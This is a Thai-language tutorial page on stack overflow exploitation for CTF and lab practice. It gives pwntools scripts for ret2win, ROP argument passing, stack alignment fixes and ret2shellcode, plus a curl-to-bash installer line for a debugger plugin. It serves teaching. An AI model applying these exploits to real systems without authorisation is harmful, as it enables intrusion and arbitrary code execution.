Stack Overflow
Stack Overflow คือ buffer overflow บน stack ที่ควบคุม return address ได้แล้ว — ขั้นต่อไปคือ redirect execution ไปยังโค้ดที่ต้องการ บทนี้ลงลึก ret2win (กระโดดไปฟังก์ชันที่ให้ flag), การส่ง argument ด้วย ROP gadget, ปัญหา stack alignment (movaps), และ ret2shellcode พร้อมโค้ดและการ debug จริง (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. จาก overflow สู่การควบคุม flow
เมื่อ buffer overflow ทับ return address บน stack ได้แล้ว (ดูหัวข้อ Buffer Overflow) ตอนฟังก์ชัน ret CPU จะ pop ค่าที่เราใส่เข้า RIP แล้วกระโดดไป — เราจึง redirect ไปที่ไหนก็ได้ในโปรแกรม คำถามคือ 'กระโดดไปไหน' ขึ้นกับว่าโจทย์มีอะไรให้ใช้: ฟังก์ชัน win สำเร็จรูป, libc, หรือ shellcode ที่เราวางเอง
2. ret2win — เทคนิคพื้นฐานสุด
โจทย์ CTF ระดับเริ่มต้นมักมีฟังก์ชัน 'win'/'flag'/'shell' ที่ปริ้น flag หรือเปิด shell แต่ ไม่ถูกเรียกในโปรแกรมปกติ — เราแค่ overwrite return address ให้ชี้ไปที่ address ของฟังก์ชันนั้น
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')
offset = 72
win = elf.symbols['win'] # address ของฟังก์ชัน win (No PIE = คงที่)
log.info(f"win @ {hex(win)}")
payload = b'A' * offset
payload += p64(win) # overwrite return addr → win
p.sendline(payload)
p.interactive()3. ปัญหา Stack Alignment (movaps)
ปัญหาที่เจอบ่อยมากบน x86-64: exploit ชี้ไป win ถูกแล้วแต่ crash ใน libc (เช่นใน do_system ที่ instruction movaps) สาเหตุคือ System V ABI ต้องการ stack alignment 16-byte ก่อนเรียกฟังก์ชัน libc — ถ้า RSP ไม่ลงท้าย 0x0 (ไม่ align) movaps จะ crash
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')
offset = 72
# หา ret gadget เปล่าๆ (1 ตัว) เพื่อ align stack
ret = ROP(elf).find_gadget(['ret'])[0]
win = elf.symbols['win']
payload = b'A' * offset
payload += p64(ret) # ← เติม ret 1 ตัว เลื่อน RSP ให้ align 16
payload += p64(win)
p.sendline(payload)
p.interactive()4. ส่ง argument ให้ฟังก์ชัน (x64)
บางทีต้องเรียกฟังก์ชันที่ต้องมี argument เช่น system("/bin/sh") หรือ win(0xdeadbeef) บน x86-64 argument ส่งผ่าน register (ไม่ใช่ stack) ตามลำดับ RDI, RSI, RDX, RCX, R8, R9 — ต้องใช้ ROP gadget จัด register ก่อนเรียก
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')
rop = ROP(elf)
offset = 72
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # gadget ตั้ง RDI (arg1)
ret = rop.find_gadget(['ret'])[0]
win = elf.symbols['win']
arg = 0xdeadbeef
payload = b'A' * offset
payload += p64(pop_rdi) # pop rdi; ret
payload += p64(arg) # RDI = arg (arg1)
payload += p64(ret) # alignment
payload += p64(win) # call win(arg)
p.sendline(payload)
p.interactive()5. ret2shellcode (เมื่อ NX ปิด)
ถ้า NX ปิด (stack รันได้ — พบในโจทย์ง่าย/เก่า) เราวาง shellcode บน stack เองแล้วชี้ return address ไปที่มัน ต้องรู้ address ที่ shellcode อยู่ (ถ้าไม่มี ASLR ก็คงที่ หรือมี jmp rsp/leak)
from pwn import *
context.arch = 'amd64'
p = process('./vuln')
offset = 72
shellcode = asm(shellcraft.sh()) # /bin/sh shellcode
buf_addr = 0x7fffffffe000 # address ของ buffer (จาก gdb/leak)
# วาง shellcode ใน buffer แล้วชี้ return ไปที่ buffer
payload = shellcode
payload += b'A' * (offset - len(shellcode))
payload += p64(buf_addr) # return → shellcode บน stack
p.sendline(payload)
p.interactive()6. เมื่อ ret2win ไม่พอ
| สถานการณ์ | เทคนิค | หัวข้อ |
|---|---|---|
| ไม่มีฟังก์ชัน win + NX เปิด | ret2libc (system/bin/sh) | ret2libc |
| ต้องจัดหลาย register/syscall | ROP chain | rop |
| มี canary | leak canary ก่อน | format-string |
| PIE เปิด (address สุ่ม) | leak binary base | pie |
| libc สุ่ม (ASLR) | leak libc → คำนวณ | aslr |
| NX ปิด | ret2shellcode (section 5) | nx |
7. Quick Reference
- คุม return address แล้ว → redirect execution
- ret2win: payload = b'A'*offset + p64(elf.symbols['win'])
- movaps crash → เติม ret gadget 1 ตัวก่อน target (align 16)
- ส่ง arg (x64): pop rdi;ret gadget → RDI=arg → call
- args order: RDI RSI RDX RCX R8 R9
- No NX → ret2shellcode (asm(shellcraft.sh()) บน stack)
- ไม่พอ → ret2libc/ROP; canary→leak; PIE→leak base
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติคุม return address ได้แล้ว (ทำหัวข้อ Buffer Overflow มาแล้ว) แต่ไม่รู้จะกระโดดไปไหน — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อหาว่าควรกระโดดไปที่ไหนและส่ง argument อย่างไร
- 1หาฟังก์ชัน win/flag/shell ก่อน:
objdump -d ./vuln | grep -iE 'win|flag|shell|cat_flag' - 2ถ้าเจอ ดึง address: ใน python3
elf = ELF('./vuln'); print(hex(elf.symbols['win'])) - 3ลองยิงตรงๆ:
payload = b'A'*offset + p64(win)แล้วส่งดูว่าได้ shell ไหม - 4ถ้า crash ใน libc (เช่นใน do_system) ให้สงสัย stack alignment (movaps) ก่อน
- 5หา ret gadget เปล่าๆ:
ROPgadget --binary ./vuln | grep ': ret$' - 6เติม ret gadget 1 ตัวก่อน target:
payload = b'A'*offset + p64(ret) + p64(win) - 7ถ้าฟังก์ชันต้องการ argument หา pop gadget:
ROPgadget --binary ./vuln | grep 'pop rdi' - 8จัด RDI ก่อนเรียก:
p64(pop_rdi) + p64(arg) + p64(ret) + p64(win) - 9ถ้าไม่มีฟังก์ชัน win เลย และ NX ปิด ลอง ret2shellcode (วาง shellcode บน stack)
- 10ถ้าไม่มี win และ NX เปิด ต้องไปทาง ret2libc/ROP แทน
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| หาฟังก์ชัน win/offset | objdump, gdb | - | dogbolt.org |
| หา ret/pop gadget | ROPgadget / ropper | pip install ropper | ropshell.com |
| debug ทีละ instruction | gdb + gef/pwndbg | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" | - |
| เขียน exploit | pwntools | pip install pwntools | - |
| สร้าง shellcode (ret2shellcode) | pwntools shellcraft | - | - |
| ตรวจ protection ซ้ำ | checksec | - | - |
| decompile ดูโครงสร้าง | radare2 | apt install radare2 | dogbolt.org, godbolt.org |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้